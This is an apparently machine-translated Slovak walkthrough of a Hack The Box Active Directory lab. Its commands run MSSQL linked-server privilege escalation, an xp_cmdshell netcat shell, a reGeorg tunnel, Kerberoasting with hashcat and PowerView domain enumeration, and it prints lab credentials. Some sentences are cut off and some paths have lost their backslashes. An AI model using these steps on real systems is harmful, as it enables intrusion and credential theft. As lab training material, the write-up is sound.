V tomto článku budeme analyzovať prechod nielen stroja, ale celého minilaboratória z miesta
Ako je uvedené v popise, POO je navrhnutý na testovanie zručností vo všetkých fázach útokov v malom prostredí Active Directory. Cieľom je kompromitovať dostupného hostiteľa, eskalovať privilégiá a nakoniec kompromitovať celú doménu zhromaždením 5 príznakov v tomto procese.
Spojenie s laboratóriom je cez VPN. Odporúča sa nepripájať sa z fungujúceho počítača alebo z hostiteľa, kde sú pre vás dôležité dáta, keďže sa dostávate do súkromnej siete s ľuďmi, ktorí niečo vedia o informačnej bezpečnosti 🙂
organizačné informácie
Aby ste sa mohli dozvedieť o nových článkoch, softvéri a iných informáciách, vytvoril som
Všetky informácie sú poskytované len na vzdelávacie účely. Autor tohto dokumentu nepreberá žiadnu zodpovednosť za akúkoľvek škodu spôsobenú komukoľvek v dôsledku použitia vedomostí a metód získaných štúdiom tohto dokumentu.
Úvod
Táto koncová hra pozostáva z dvoch strojov a obsahuje 5 vlajok.
Uvádza sa aj popis a adresa dostupného hostiteľa.
Začnime!
Prieskumná vlajka
Tento počítač má IP adresu 10.13.38.11, ktorú pridávam do /etc/hosts.
10.13.38.11 poo.htb
Prvým krokom je skenovanie otvorených portov. Keďže skenovanie všetkých portov pomocou nmap trvá dlho, najskôr to urobím pomocou masscan. Skenujeme všetky porty TCP a UDP z rozhrania tun0 rýchlosťou 500 pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Teraz, ak chcete získať podrobnejšie informácie o službách, ktoré bežia na portoch, spustite skenovanie s voľbou -A.
nmap -A poo.htb -p80,1433
Máme teda služby IIS a MSSQL. V tomto prípade zistíme skutočný DNS názov domény a počítača. Na webovom serveri nás privíta domovská stránka IIS.
Prejdime si cez adresáre. Používam na to gobuster. V parametroch udávame počet streamov 128 (-t), URL (-u), slovník (-w) a rozšírenia, ktoré nás zaujímajú (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Máme teda k dispozícii HTTP autentifikáciu pre adresár /admin, ako aj súbor úložiska desktopovej služby .DS_Store. .DS_Store sú súbory, ktoré ukladajú používateľské nastavenia pre priečinok, ako je zoznam súborov, umiestnenie ikon, vybratý obrázok na pozadí. Takýto súbor môže skončiť v adresári webového servera webových vývojárov. Takto získame informácie o obsahu adresára. Na to môžete použiť
python3 dsstore_crawler.py -i http://poo.htb/
Dostaneme obsah adresára. Najzaujímavejší je tu adresár /dev, z ktorého vidíme zdroje a db súbory v dvoch vetvách. Ale môžeme použiť prvých 6 znakov názvov súborov a adresárov, ak je služba zraniteľná voči IIS ShortName. Túto chybu zabezpečenia môžete skontrolovať pomocou
A nájdeme jeden textový súbor, ktorý začína na „poo_co“. Keďže som nevedel ako ďalej, jednoducho som zo slovníka adresárov vybral všetky slová, ktoré začínajú na „co“.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
A iterujte s wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
A nájdite správne slovo! Pozrieme sa na tento súbor, uložíme poverenia (súdiac podľa parametra DBNAME, sú z MSSQL).
Odovzdáme vlajku a postupujeme o 20%.
Huh vlajka
My sa pripájame na MSSQL, ja používam DBeaver.
V tejto databáze nenájdeme nič zaujímavé, poďme si vytvoriť SQL Editor a skontrolujme, čo sú používatelia.
SELECT name FROM master..syslogins;
Máme dvoch používateľov. Pozrime sa na naše privilégiá.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Neexistujú teda žiadne privilégiá. Pozrime sa na prepojené servery, písal som o tejto technike podrobne
SELECT * FROM master..sysservers;
Takže nájdeme ďalší SQL Server. Skontrolujeme vykonávanie príkazov na tomto serveri pomocou openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
A dokonca môžeme vytvoriť strom dotazov.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktom je, že keď odošleme požiadavku na prepojený server, požiadavka sa vykoná v kontexte iného používateľa! Pozrime sa, aký používateľský kontext spúšťame na prepojenom serveri.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
A teraz sa pozrime, v akom kontexte sa vykoná požiadavka z prepojeného servera na náš!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Ide teda o kontext DBO, ktorý musí mať všetky privilégiá. Skontrolujte oprávnenia v prípade požiadavky z prepojeného servera.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Ako vidíte, máme všetky privilégiá! Vytvorme si nášho admina takto. Ale cez openquery ich nepustia, urobme to cez EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
A teraz sa pripájame k povereniam nového používateľa a sledujeme novú databázu vlajok.
Odovzdáme túto vlajku a ideme ďalej.
Návratová vlajka
Poďme získať shell pomocou MSSQL, používam mssqlclient z balíka impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Potrebujeme získať heslá a prvá vec, s ktorou sme sa už stretli, je stránka. Potrebujeme teda konfiguráciu webového servera (nemôžeme hodiť pohodlný shell, zrejme funguje firewall).
Prístup je však odmietnutý. Hoci môžeme čítať súbor z MSSQL, potrebujeme len vedieť, aké programovacie jazyky sú nakonfigurované. A v adresári MSSQL zistíme, že existuje Python.
Potom nie je problém prečítať súbor web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
S nájdenými povereniami prejdite na /admin a vyzdvihnite vlajku.
oporná vlajka
V skutočnosti existujú určité nepríjemnosti z používania brány firewall, ale pri pohľade na nastavenia siete si všimneme, že sa používa aj protokol IPv6!
Pridajte túto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Poďme znova skenovať hostiteľa, ale tentoraz cez IPv6.
A služba WinRM je dostupná cez IPv6. Spojme sa s nájdenými povereniami.
Na ploche je vlajka, odovzdaj ju.
P00ned vlajka
Po rekognícii na hostiteľovi s
setspn.exe -T intranet.poo -Q */*
Vykonajte príkaz cez MSSQL.
Týmto spôsobom získame SPN používateľov p00_hr a p00_adm, čo znamená, že sú zraniteľní voči útoku, ako je Kerberoasting. Stručne povedané, môžeme získať hash ich hesiel.
Najprv musíte získať stabilný shell v mene používateľa MSSQL. Ale keďže máme obmedzený prístup, máme spojenie s hostiteľom iba cez porty 80 a 1433. Ale je možné tunelovať prevádzku cez port 80! Na to používame
Ale keď sa k nemu pokúsime dostať, dostaneme chybu 404. To znamená, že súbory *.aspx sa nespustia. Aby sa súbory s týmito príponami spúšťali, nainštalujte ASP.NET 4.5 nasledovne.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
A teraz, keď pristupujeme k tunelu.aspx, dostávame odpoveď, že všetko je pripravené.
Spustíme klientsku časť aplikácie, ktorá bude prenášať komunikáciu. Presmerujeme všetku komunikáciu z portu 5432 na server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
A používame proxychains na odosielanie návštevnosti akejkoľvek aplikácie cez náš proxy. Pridajme tento proxy do konfiguračného súboru /etc/proxychains.conf.
Teraz nahrajte program na server
Teraz cez MSSQL spustíme poslucháč.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
A pripájame sa cez náš proxy.
proxychains rlwrap nc poo.htb 4321
A poďme na hashe.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Ďalej musíte tieto hodnoty hash opakovať. Keďže rockyou nemal slovník údajov hesiel, použil som VŠETKY slovníky hesiel poskytnuté v Seclists. Pre enumeráciu používame hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
A nájdeme obe heslá, prvé v slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.
A tak máme troch používateľov, ideme na radič domény. Najprv zistime jeho adresu.
Skvelé, dozvedeli sme sa IP adresu radiča domény. Poďme zistiť všetkých používateľov domény, ako aj to, ktorý z nich je správcom. Na stiahnutie skriptu na získanie informácií PowerView.ps1. Potom sa pripojíme pomocou evil-winrm, pričom v parametri -s uvedieme adresár so skriptom. A potom stačí načítať skript PowerView.
Teraz máme prístup ku všetkým jeho funkciám. Používateľ p00_adm vyzerá ako privilegovaný používateľ, takže budeme pracovať v jeho kontexte. Vytvorme pre tohto používateľa objekt PSCredential.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Teraz budú všetky príkazy Powershell, kde zadáme Creds, vykonané v mene p00_adm. Zobrazme zoznam používateľov a atribút AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
A tak je náš používateľ skutočne privilegovaný. Pozrime sa, do ktorých skupín patrí.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Nakoniec potvrdíme, že používateľ je správcom domény. To mu dáva právo na vzdialené prihlásenie do radiča domény. Skúsme sa prihlásiť s WinRM pomocou nášho tunela. Bol som zmätený chybami, ktoré vydal reGeorg pri používaní evil-winrm.
Potom použijeme iný, jednoduchší,
Snažíme sa pripojiť a sme v systéme.
Ale nie je tam žiadna vlajka. Potom sa pozrite na používateľa a skontrolujte plochy.
Na mr3ks nájdeme vlajku a laboratórium je hotové na 100%.
To je všetko. Ako spätnú väzbu uveďte, či ste sa z tohto článku dozvedeli niečo nové a či bol pre vás užitočný.
Môžete sa k nám pridať na
Zdroj: hab.com